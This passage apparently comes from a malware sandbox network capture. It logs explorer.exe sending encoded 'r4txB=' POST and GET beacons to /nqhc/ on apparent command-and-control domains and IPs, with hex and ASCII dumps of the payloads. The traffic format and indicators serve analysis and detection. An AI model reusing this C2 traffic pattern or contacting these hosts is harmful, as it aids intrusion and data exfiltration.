Nov 21, 2022 19:24:22.974842072 CET	1781	OUT	POST /nqhc/ HTTP/1.1 Host: www.xiaoxiuzhen.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.xiaoxiuzhen.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.xiaoxiuzhen.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 41 6b 61 4d 58 5f 51 6b 64 4c 66 56 66 61 4d 5f 6d 5a 4f 34 66 74 76 48 31 61 4f 4e 47 2d 55 4e 30 75 54 36 48 42 64 55 46 73 56 41 5a 72 46 4b 71 72 49 34 49 46 38 58 6b 56 71 49 44 53 6f 37 48 59 66 6d 76 6c 53 46 63 62 37 6c 66 7a 36 4c 4c 6a 4c 4e 7e 50 69 45 77 6f 67 37 30 34 5a 51 47 53 75 6c 4a 4f 5a 5f 47 33 41 6e 39 7a 78 65 63 33 34 76 69 56 75 78 43 30 5a 65 35 71 37 57 52 72 44 33 31 4d 6b 59 73 56 30 46 6e 77 75 55 63 75 54 48 35 37 42 54 73 5a 4a 36 6a 6e 6e 59 6a 61 34 5a 65 32 42 37 6b 64 47 49 7e 49 71 63 59 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=AkaMX_QkdLfVfaM_mZO4ftvH1aONG-UN0uT6HBdUFsVAZrFKqrI4IF8XkVqIDSo7HYfmvlSFcb7lfz6LLjLN~PiEwog704ZQGSulJOZ_G3An9zxec34viVuxC0Ze5q7WRrD31MkYsV0FnwuUcuTH57BTsZJ6jnnYja4Ze2B7kdGI~IqcYQ).
Nov 21, 2022 19:24:23.177141905 CET	1782	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 21 Nov 2022 18:24:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.11.20	49895	38.55.15.214	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:24:25.161257982 CET	1783	OUT	POST /nqhc/ HTTP/1.1 Host: www.xiaoxiuzhen.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.xiaoxiuzhen.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.xiaoxiuzhen.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 41 6b 61 4d 58 5f 51 6b 64 4c 66 56 65 36 38 5f 71 59 4f 34 4f 4e 76 45 7e 36 4f 4e 55 2d 55 4a 30 70 62 36 48 46 45 66 47 65 78 41 5a 4b 31 4b 70 76 6b 34 50 46 38 58 73 31 71 4e 63 43 6f 30 48 59 53 62 76 67 71 46 63 59 48 6c 65 41 79 4c 63 6a 4c 4b 78 76 69 44 33 6f 67 6d 28 59 5a 4f 47 53 54 45 4a 50 4e 5f 47 48 73 6e 38 78 70 65 57 47 34 73 7a 6c 75 33 56 6b 5a 66 75 36 37 69 52 72 65 4b 31 4f 30 6d 73 6a 55 46 6d 51 4f 55 64 75 54 59 78 4c 42 59 6a 35 49 5f 6b 6d 54 49 71 72 41 70 41 31 52 45 38 75 48 4a 37 4c 76 67 47 39 30 75 4d 47 64 53 30 6b 48 4a 46 76 4d 58 48 78 37 55 7e 64 6e 76 7e 61 59 71 63 35 6e 4c 28 56 5a 6c 35 4e 34 6a 74 6c 65 62 51 50 63 39 6d 61 77 35 6b 66 53 6e 72 6c 34 57 38 42 33 61 54 66 6d 72 49 72 6d 6c 42 68 65 45 7a 38 44 38 70 45 41 74 51 32 63 64 72 34 44 4b 42 46 30 58 4a 7a 41 6e 44 33 70 39 59 55 39 61 46 66 53 73 4f 48 6f 58 6f 52 42 36 35 34 65 7a 79 49 65 4a 62 6d 64 48 52 2d 4a 66 32 44 4d 66 63 52 69 6f 37 7a 6b 77 51 71 28 68 4a 6b 79 45 63 47 6d 6c 74 70 6d 6b 64 73 59 57 57 53 63 79 4a 33 5a 72 71 6f 69 67 28 70 36 75 42 39 34 5a 37 4a 64 7a 75 70 56 57 35 79 4f 43 6a 70 49 62 34 64 67 46 41 31 44 43 55 77 46 69 35 30 46 52 72 4e 4a 54 4b 75 32 38 43 37 72 74 70 6e 48 57 49 35 4a 35 6b 6e 73 61 66 5f 58 4e 6e 30 59 34 6d 43 65 74 58 71 65 42 4c 4e 30 33 31 34 46 68 5a 6a 64 39 61 64 7e 64 4e 4a 39 76 6f 77 49 4c 6d 5a 76 7a 68 52 6f 61 34 6d 58 51 46 41 77 68 4e 41 68 31 69 68 7a 52 44 4e 57 5a 4e 53 77 58 69 6b 63 62 6f 74 6f 32 41 34 66 65 72 4c 57 74 56 66 6a 53 31 74 4a 30 68 48 63 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=AkaMX_QkdLfVe68_qYO4ONvE~6ONU-UJ0pb6HFEfGexAZK1Kpvk4PF8Xs1qNcCo0HYSbvgqFcYHleAyLcjLKxviD3ogm(YZOGSTEJPN_GHsn8xpeWG4szlu3VkZfu67iRreK1O0msjUFmQOUduTYxLBYj5I_kmTIqrApA1RE8uHJ7LvgG90uMGdS0kHJFvMXHx7U~dnv~aYqc5nL(VZl5N4jtlebQPc9maw5kfSnrl4W8B3aTfmrIrmlBheEz8D8pEAtQ2cdr4DKBF0XJzAnD3p9YU9aFfSsOHoXoRB654ezyIeJbmdHR-Jf2DMfcRio7zkwQq(hJkyEcGmltpmkdsYWWScyJ3Zrqoig(p6uB94Z7JdzupVW5yOCjpIb4dgFA1DCUwFi50FRrNJTKu28C7rtpnHWI5J5knsaf_XNn0Y4mCetXqeBLN0314FhZjd9ad~dNJ9vowILmZvzhRoa4mXQFAwhNAh1ihzRDNWZNSwXikcboto2A4ferLWtVfjS1tJ0hHc.
Nov 21, 2022 19:24:25.361253977 CET	1784	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 21 Nov 2022 18:24:25 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.11.20	49830	154.204.24.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:20:29.460572004 CET	553	OUT	POST /nqhc/ HTTP/1.1 Host: www.youlian.fund Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.youlian.fund User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.youlian.fund/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 42 6d 47 30 73 32 7a 6e 35 58 66 6d 68 48 6f 57 30 62 7e 34 59 48 41 55 32 31 77 35 52 51 34 67 73 72 39 32 4d 48 45 58 4e 67 6b 55 74 6f 4e 4f 32 4a 78 4a 39 46 72 45 57 76 4d 45 56 5a 42 6b 35 64 56 76 42 4b 68 6a 46 32 36 6a 46 57 43 77 50 79 32 58 32 74 64 6b 7e 36 78 70 70 6c 72 63 4c 79 5a 51 6a 78 68 58 62 68 4c 44 38 62 66 59 78 61 53 44 4a 71 4e 32 66 38 36 4e 69 4c 44 62 63 74 43 64 64 38 4c 34 53 46 7a 6e 33 53 34 39 69 74 44 67 52 34 4b 55 48 4d 52 6a 38 6b 51 7a 75 78 71 49 5a 47 7a 74 4b 42 45 46 7e 5a 77 35 70 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=BmG0s2zn5XfmhHoW0b~4YHAU21w5RQ4gsr92MHEXNgkUtoNO2JxJ9FrEWvMEVZBk5dVvBKhjF26jFWCwPy2X2tdk~6xpplrcLyZQjxhXbhLD8bfYxaSDJqN2f86NiLDbctCdd8L4SFzn3S49itDgR4KUHMRj8kQzuxqIZGztKBEF~Zw5pw).
Nov 21, 2022 19:20:29.739981890 CET	553	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 21 Nov 2022 18:20:29 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.11.20	49896	38.55.15.214	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:24:27.348279953 CET	1785	OUT	POST /nqhc/ HTTP/1.1 Host: www.xiaoxiuzhen.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.xiaoxiuzhen.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.xiaoxiuzhen.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 41 6b 61 4d 58 5f 51 6b 64 4c 66 56 65 36 38 5f 71 59 4f 34 4f 4e 76 45 7e 36 4f 4e 55 2d 55 4a 30 70 62 36 48 46 45 66 47 65 35 41 59 38 70 4b 71 49 77 34 4f 46 38 58 69 56 71 4d 63 43 6f 70 48 5a 36 66 76 67 33 77 63 64 44 6c 65 52 69 4c 63 52 7a 4b 68 5f 69 47 34 49 67 34 30 34 59 4e 47 53 76 51 4a 50 5a 76 47 30 77 6e 39 32 56 65 63 52 73 76 37 56 75 78 56 6b 5a 62 39 71 37 71 52 72 4b 61 31 4f 34 6d 73 6c 63 46 6e 69 47 55 66 39 37 59 38 37 42 58 34 70 49 4f 75 47 53 68 71 72 55 62 41 31 52 79 38 73 72 4a 37 4d 37 67 48 36 67 70 4d 6d 64 53 33 6b 47 66 42 76 49 62 48 78 58 63 7e 63 6a 76 7e 64 63 71 61 5a 6e 4c 76 68 74 36 37 74 35 71 67 46 66 5a 64 76 51 6c 6d 65 67 4c 6b 61 43 6e 72 56 73 57 38 79 66 61 66 65 6d 72 55 62 6d 6e 65 52 65 58 34 63 44 34 70 45 51 50 51 32 38 6e 72 5f 37 4b 43 6b 34 58 62 43 41 6d 55 6e 70 42 58 30 38 65 53 76 58 34 4f 45 51 4c 6f 52 42 71 35 36 79 7a 31 34 75 4a 4a 69 4a 47 63 4f 49 32 71 44 4e 59 57 78 75 6d 37 33 4d 34 51 71 33 50 4a 6e 7e 45 66 6d 6d 6c 6f 4b 7e 6e 58 63 59 4d 61 79 64 72 48 58 5a 43 71 6f 7e 38 28 74 72 62 42 4e 55 5a 36 39 35 7a 69 5a 56 4a 70 53 4f 47 73 4a 49 64 38 64 67 46 41 31 66 57 55 77 35 69 35 6c 39 52 70 36 74 54 50 35 69 38 41 37 72 72 70 6e 48 39 49 35 55 46 6b 6b 4d 6b 66 37 71 6f 6e 78 67 34 6c 57 61 74 44 4c 65 43 62 4e 30 34 78 34 46 32 58 44 51 37 61 64 69 46 4e 4e 68 5f 6f 43 4d 4c 6c 5a 66 7a 6c 52 6f 56 74 32 58 58 53 77 78 34 48 67 38 71 69 67 65 70 44 4f 4c 63 4e 56 30 58 67 54 64 45 74 74 6b 5f 53 62 28 46 76 73 43 38 54 63 58 36 6d 64 52 49 30 79 77 70 4a 51 65 4f 32 37 6f 36 48 62 59 77 5a 66 44 36 75 47 64 4b 43 43 6a 7a 6c 48 78 48 6b 4e 39 46 58 4a 70 63 66 58 59 63 68 45 53 56 70 31 47 64 68 65 48 48 6a 79 4b 48 79 79 33 48 75 6b 32 6a 6d 74 63 48 56 4e 74 7a 4a 44 58 56 50 7a 43 64 55 30 58 53 63 43 44 4c 61 34 58 34 36 4e 39 5f 6b 6d 62 63 75 6a 44 63 53 43 62 66 71 52 42 62 47 42 35 50 47 38 74 43 53 6c 4e 5a 4c 4b 31 50 70 46 7a 55 7a 53 4c 47 58 46 52 31 4c 61 48 6c 6f 59 79 39 47 7a 67 54 43 57 78 30 44 4a 76 51 50 6c 33 48 48 33 7e 5f 6b 59 35 49 73 7a 75 58 30 79 71 68 45 33 55 54 56 47 44 4a 28 58 55 7a 62 38 63 51 36 79 43 54 74 30 58 78 36 43 5a 72 68 59 37 73 42 41 68 74 79 34 30 36 50 45 61 6c 30 6e 71 62 4c 71 6f 50 6d 6f 45 50 78 7a 4d 64 65 77 36 75 70 51 77 46 39 75 32 31 35 51 4c 76 62 36 28 32 5a 6b 73 47 50 69 75 43 58 37 38 4e 38 45 69 71 6c 55 66 76 7a 4e 69 35 45 67 79 39 37 62 47 47 61 64 69 69 49 4d 48 66 6e 6f 6c 64 42 67 7a 5a 73 70 6b 75 35 42 4a 6b 47 69 31 51 4f 78 6f 4f 28 4c 55 72 43 76 6f 66 61 49 35 49 69 64 38 72 69 4e 55 69 53 52 78 35 48 30 79 36 6b 6e 39 52 71 Data Ascii: r4txB=AkaMX_QkdLfVe68_qYO4ONvE~6ONU-UJ0pb6HFEfGe5AY8pKqIw4OF8XiVqMcCopHZ6fvg3wcdDleRiLcRzKh_iG4Ig404YNGSvQJPZvG0wn92VecRsv7VuxVkZb9q7qRrKa1O4mslcFniGUf97Y87BX4pIOuGShqrUbA1Ry8srJ7M7gH6gpMmdS3kGfBvIbHxXc~cjv~dcqaZnLvht67t5qgFfZdvQlmegLkaCnrVsW8yfafemrUbmneReX4cD4pEQPQ28nr_7KCk4XbCAmUnpBX08eSvX4OEQLoRBq56yz14uJJiJGcOI2qDNYWxum73M4Qq3PJn~EfmmloK~nXcYMaydrHXZCqo~8(trbBNUZ695ziZVJpSOGsJId8dgFA1fWUw5i5l9Rp6tTP5i8A7rrpnH9I5UFkkMkf7qonxg4lWatDLeCbN04x4F2XDQ7adiFNNh_oCMLlZfzlRoVt2XXSwx4Hg8qigepDOLcNV0XgTdEttk_Sb(FvsC8TcX6mdRI0ywpJQeO27o6HbYwZfD6uGdKCCjzlHxHkN9FXJpcfXYchESVp1GdheHHjyKHyy3Huk2jmtcHVNtzJDXVPzCdU0XScCDLa4X46N9_kmbcujDcSCbfqRBbGB5PG8tCSlNZLK1PpFzUzSLGXFR1LaHloYy9GzgTCWx0DJvQPl3HH3~_kY5IszuX0yqhE3UTVGDJ(XUzb8cQ6yCTt0Xx6CZrhY7sBAhty406PEal0nqbLqoPmoEPxzMdew6upQwF9u215QLvb6(2ZksGPiuCX78N8EiqlUfvzNi5Egy97bGGadiiIMHfnoldBgzZspku5BJkGi1QOxoO(LUrCvofaI5Iid8riNUiSRx5H0y6kn9Rq
Nov 21, 2022 19:24:27.348332882 CET	1790	OUT	Data Raw: 48 6f 57 49 73 4d 36 67 71 62 6f 78 30 6c 67 55 70 6f 4e 45 6a 6f 73 42 77 62 57 61 74 35 4a 46 59 76 65 69 6f 7e 2d 7a 30 50 4b 76 66 64 54 74 73 37 79 55 5a 77 74 70 70 30 41 62 57 79 72 50 56 65 30 54 55 4c 54 48 51 4c 4f 35 2d 6e 4f 44 65 42 Data Ascii: HoWIsM6gqbox0lgUpoNEjosBwbWat5JFYveio~-z0PKvfdTts7yUZwtpp0AbWyrPVe0TULTHQLO5-nODeBT4BK1EBjuz1Q6Izeot6lqwRCbi3fe3-mm9kk6mayCLgdWA_oIUBmk9Vll5dis~X8FgdATz5xxm7~nTP0SZDGi9cgn1tOVIABE7U7WXu7-yHWucoWW~mObB96mEBeEHDlCI3Gl40o1tjTFWrv0M_uk6keI2tbd3SOW
Nov 21, 2022 19:24:27.348381042 CET	1797	OUT	Data Raw: 39 47 4c 78 44 6d 64 4d 73 56 57 44 61 31 73 4e 31 56 67 59 75 73 36 70 6f 4f 39 4e 53 6c 6e 57 7a 68 78 6e 45 61 55 6a 43 4d 52 35 31 50 4c 43 79 72 67 75 78 43 79 5a 37 28 6c 70 6b 69 38 5a 4d 43 44 55 32 5a 39 66 6a 38 4d 48 4f 41 67 69 2d 4f Data Ascii: 9GLxDmdMsVWDa1sN1VgYus6poO9NSlnWzhxnEaUjCMR51PLCyrguxCyZ7(lpki8ZMCDU2Z9fj8MHOAgi-OoiAusN5sp0Hgs6TyRP8Z8~y49fTEqtwQ53tZIT_o7qrRhdmrN6a86O5YCOkiFGU9-QxGjW1i47zbFrhrbYugloHPrbrloBhw0KAqzvu93qZ9goQqSEFwNKqL4K9X-9izApbuk6z1JuiPe3IwsVjV_mDQEy6uZ7rV6
Nov 21, 2022 19:24:27.511173010 CET	1800	OUT	Data Raw: 78 48 43 33 74 72 54 67 42 61 6a 79 72 35 74 45 37 76 6a 69 4e 7e 54 77 2d 4b 72 53 4e 48 45 38 45 67 51 77 52 4a 47 78 52 59 38 36 4b 63 51 39 4a 28 65 4b 59 4f 44 61 31 68 4e 34 35 6b 48 32 36 62 4e 7e 52 70 6d 55 6d 78 49 78 56 28 6c 47 49 59 Data Ascii: xHC3trTgBajyr5tE7vjiN~Tw-KrSNHE8EgQwRJGxRY86KcQ9J(eKYODa1hN45kH26bN~RpmUmxIxV(lGIYjCnnbCdnlAEeL2EU1eo1FHTVVWaPhQcP_xXVMrFzZvhA-LKRntZ4FiLh4Ca~O0jZq~if7pmo8z0LkfyC1Ywan82V5hfa-qhAFCpEz9cDkD2jHWmxNGjn_VuwYZql1NTjY1OAX4eXSMOXzU3WoqoAEseQ-MZ7QM0R8
Nov 21, 2022 19:24:27.511255980 CET	1807	OUT	Data Raw: 39 75 6d 56 64 46 65 79 50 30 53 33 55 5a 38 39 54 66 78 49 7a 46 52 46 30 51 59 7a 59 34 41 52 34 49 52 4c 38 43 5a 50 70 78 67 67 59 71 67 7e 5a 58 46 6e 6d 32 61 49 62 61 46 56 32 6e 55 74 2d 62 30 34 52 55 38 6c 63 64 51 4c 48 76 47 31 2d 52 Data Ascii: 9umVdFeyP0S3UZ89TfxIzFRF0QYzY4AR4IRL8CZPpxggYqg~ZXFnm2aIbaFV2nUt-b04RU8lcdQLHvG1-R3EKffbMc4eR0dWh8wSCIWEHbyeZuQQOHdPMPDPTXRnAT8N6z_jU~tDO3FQUYfWK4IuPXr0F3va2sdgCSUyxM2PzvSmA(outHbFP7v4wPGQ8bNP0ys2yEDPscLC-D0niiKV_L63Neh(MVJ0-I1KN(DOh0l8w12JbJT
Nov 21, 2022 19:24:27.511596918 CET	1822	OUT	Data Raw: 56 79 66 73 42 69 32 74 69 30 38 49 59 55 78 4d 36 6f 56 72 66 37 6c 62 63 66 69 63 76 31 6c 4b 63 52 59 76 35 73 71 59 45 77 55 51 56 30 31 6f 50 70 74 59 59 45 51 70 55 75 6f 45 47 5a 70 69 74 59 57 39 35 28 43 4d 51 39 32 72 70 4f 37 7e 4c 37 Data Ascii: VyfsBi2ti08IYUxM6oVrf7lbcficv1lKcRYv5sqYEwUQV01oPptYYEQpUuoEGZpitYW95(CMQ92rpO7~L7ETBJM1j42hxWfvgseNYULuawijE1IChJm4oMdSuDqpXr8d_b9rsITTl6Sj7HEW5kY~PO0o7AcyZsjZsR2j9GU9SWhE5UA9Op18SMrhnnab7OlrCfsIe3GaChH5ynhQJJHCm8VIoRroWQux144z8qVGClyYHpes9c2
Nov 21, 2022 19:24:27.674113989 CET	1824	OUT	Data Raw: 34 59 2d 74 6e 59 57 6e 5f 76 44 64 4d 4d 67 34 5a 34 4c 54 36 77 4f 6e 31 44 2d 47 5f 59 50 76 7a 4c 6f 67 46 51 45 41 53 6d 48 72 41 63 73 74 6d 6f 63 61 70 66 4f 69 45 36 59 4c 6b 73 46 64 42 4d 75 59 57 4b 47 7a 41 69 43 35 6e 6c 76 65 61 64 Data Ascii: 4Y-tnYWn_vDdMMg4Z4LT6wOn1D-G_YPvzLogFQEASmHrAcstmocapfOiE6YLksFdBMuYWKGzAiC5nlvead3GwPti8EwArUoAYUEm_d0mG5LrA40IJwbICXFqFpkew~eFlGqlmmAMEP3H6I55t266fnpucJnL2ZDLxxbIKPtxWE_efIIXuIp8n7MEFn_sHcmlyOGw7SzK0BgUOaUFLHKxGUoVGBJhgZ0F0s-p0s_c18tDkcSwNZE
Nov 21, 2022 19:24:27.674164057 CET	1828	OUT	Data Raw: 7a 43 64 47 49 73 70 51 42 51 56 31 68 36 78 62 44 70 44 68 73 6d 69 4d 45 54 36 63 68 67 71 53 4d 73 4c 57 77 51 42 33 58 42 62 61 30 39 70 36 39 6d 44 52 71 62 69 68 63 45 55 5a 56 28 7a 30 76 38 74 41 53 34 77 6f 6c 77 4d 49 41 35 33 33 51 56 Data Ascii: zCdGIspQBQV1h6xbDpDhsmiMET6chgqSMsLWwQB3XBba09p69mDRqbihcEUZV(z0v8tAS4wolwMIA533QVhrMM6YpzFKoi9nuZLqgyU0YczjrzSyyKywbF6w8uG3hBH3znk2M5VjNEVCwxsmwO-PO1ZD5BTb6BEe75STDxYyNilaDJlVYqGrhLs9ssZhY3uCudJZEnJLvsVh7y5B6koqWmpT-BhOc2WckQKJq5PMfbS0VrL7gAW
Nov 21, 2022 19:24:27.674212933 CET	1835	OUT	Data Raw: 35 4c 39 50 6f 47 43 67 51 75 58 64 43 32 43 63 31 48 74 75 55 6b 69 31 63 76 61 61 72 4a 70 4a 6a 4d 4a 6b 50 4e 54 73 5f 74 64 64 6d 62 34 59 51 74 4c 47 32 6b 6f 55 51 31 6d 52 46 7e 6e 42 69 50 78 6b 75 44 38 59 31 33 47 6a 70 74 49 6d 46 56 Data Ascii: 5L9PoGCgQuXdC2Cc1HtuUki1cvaarJpJjMJkPNTs_tddmb4YQtLG2koUQ1mRF~nBiPxkuD8Y13GjptImFVBClWaNIHvamqtfLGypXPfzrG_esKVKDGlHsPdfeQ2u8uF9iZ3FFkVGNrEhdlzxpc3nsYR577KjwnhSSso~26ubh8vYPEyDOGySf0BbJEsWyu_rZddMxpMHB3yUrxcDbIhRCYHmedAGbCAmzYBeHQvrCzLIaEDU7S5
Nov 21, 2022 19:24:27.674380064 CET	1836	OUT	Data Raw: 58 65 4b 61 5a 50 70 59 6d 51 76 52 34 4b 46 77 68 30 51 36 4b 50 6e 7a 59 56 53 38 46 6d 50 62 67 31 48 6e 74 53 57 6d 52 70 4b 76 6b 50 79 33 31 34 38 39 43 44 7a 49 71 4b 45 35 45 51 61 6a 56 76 4c 4d 5a 45 53 4d 6d 30 6f 6c 30 78 58 6d 65 54 Data Ascii: XeKaZPpYmQvR4KFwh0Q6KPnzYVS8FmPbg1HntSWmRpKvkPy31489CDzIqKE5EQajVvLMZESMm0ol0xXmeTjMcBrl1cvcTJfdKwOJTc8kBOEUQXIE1X61hernJbDG9Ji2QQeU11lgk5H2Fit2zEU5qofnDhvEUGowCdBw65sBTMbWp6Vg0g47bGM9auTMem2K28IkOOs3rvza7Cdbio6LEyMImBqRuaMZGlioWH7CXXSQG6azm0E
Nov 21, 2022 19:24:27.875634909 CET	1837	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 21 Nov 2022 18:24:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.11.20	49897	38.55.15.214	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:24:29.537976980 CET	1838	OUT	GET /nqhc/?r4txB=NmysUK8Sf6DpSokzhdS+Fe7Tw5OPNsso476sAEQMN+xhSdBax7kHE0kXg2GXcVgvb7a1o1nVZ7aHbSSwUgvcnfixvrsa7oZKWA==&1b=S8jD HTTP/1.1 Host: www.xiaoxiuzhen.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:24:29.707251072 CET	1838	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 21 Nov 2022 18:24:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 31 0d 0a 2e 0d 0a 30 0d 0a 0d 0a Data Ascii: 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.11.20	49898	3.13.90.76	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:24:34.861649036 CET	1839	OUT	POST /nqhc/ HTTP/1.1 Host: www.gumba.shop Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.gumba.shop User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.gumba.shop/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 53 36 74 62 63 6f 6e 6b 39 56 64 2d 64 70 30 6f 68 78 4d 4d 78 31 43 43 63 66 69 6c 50 4e 6b 5f 72 4f 56 4c 52 44 6a 6b 4e 55 41 6a 5a 44 48 75 62 63 57 4c 64 6e 35 46 64 6a 69 5a 51 34 38 4b 38 65 53 56 4f 50 28 2d 6e 39 67 34 6c 57 49 35 6b 31 55 31 78 53 43 31 58 75 41 43 32 31 56 6e 65 31 4f 61 38 30 72 65 39 38 53 5f 62 72 28 4a 28 37 33 50 31 4d 4d 43 71 36 54 67 4b 76 58 54 49 76 79 65 7a 47 61 63 28 30 28 64 4b 58 67 71 52 73 73 34 55 6d 55 32 6b 51 4a 76 61 2d 4f 47 30 6e 56 79 72 71 55 6a 65 33 45 37 4d 44 62 43 33 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=S6tbconk9Vd-dp0ohxMMx1CCcfilPNk_rOVLRDjkNUAjZDHubcWLdn5FdjiZQ48K8eSVOP(-n9g4lWI5k1U1xSC1XuAC21Vne1Oa80re98S_br(J(73P1MMCq6TgKvXTIvyezGac(0(dKXgqRss4UmU2kQJva-OG0nVyrqUje3E7MDbC3w).
Nov 21, 2022 19:24:35.008651972 CET	1839	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:24:34 GMT Content-Type: text/html Content-Length: 153 Connection: close Server: nginx/1.16.1 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.11.20	49899	3.13.90.76	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:24:37.032330990 CET	1841	OUT	POST /nqhc/ HTTP/1.1 Host: www.gumba.shop Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.gumba.shop User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.gumba.shop/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 53 36 74 62 63 6f 6e 6b 39 56 64 2d 62 35 45 6f 6a 53 30 4d 33 56 43 42 41 76 69 6c 47 74 6b 37 72 4f 5a 4c 52 43 33 30 59 79 51 6a 59 68 66 75 61 5a 36 4c 4f 58 35 46 53 44 69 41 64 59 38 5f 38 65 65 73 4f 4f 44 2d 6e 35 41 34 6b 6b 51 35 74 6c 55 36 37 79 43 30 42 2d 41 42 39 56 56 78 65 31 53 73 38 77 72 65 39 4d 7e 5f 4a 35 6e 4a 73 36 33 4d 34 4d 4d 41 73 36 54 6a 52 5f 58 6a 49 76 33 6a 7a 48 69 69 7e 47 6a 64 4c 7a 51 71 44 63 73 5f 42 6d 55 50 6f 77 4a 2d 4a 2d 75 43 38 47 4e 36 79 62 34 65 54 46 39 56 49 6e 4b 2d 68 47 57 4b 77 7a 54 5f 31 70 67 6c 38 72 79 62 28 36 35 5f 41 73 54 6b 6e 73 69 32 76 32 6d 72 57 5f 73 37 79 57 6f 67 70 56 69 5a 67 65 34 33 30 37 41 31 68 72 73 79 31 51 78 71 55 41 73 4c 39 6b 65 2d 28 6d 7a 61 46 70 72 33 6a 30 50 74 64 79 56 4a 6c 62 67 34 7e 4f 55 7a 57 61 4b 43 38 46 70 53 58 48 55 4b 41 42 32 59 4c 65 6c 41 57 6c 69 44 6c 46 6c 6a 6b 36 76 31 39 72 76 74 64 51 66 6e 4d 65 4f 69 49 4e 57 6a 4d 5f 38 6c 74 63 47 50 4f 4c 48 7a 50 75 30 72 47 66 30 30 61 47 61 6a 7a 46 62 4d 6f 75 72 34 4e 6a 45 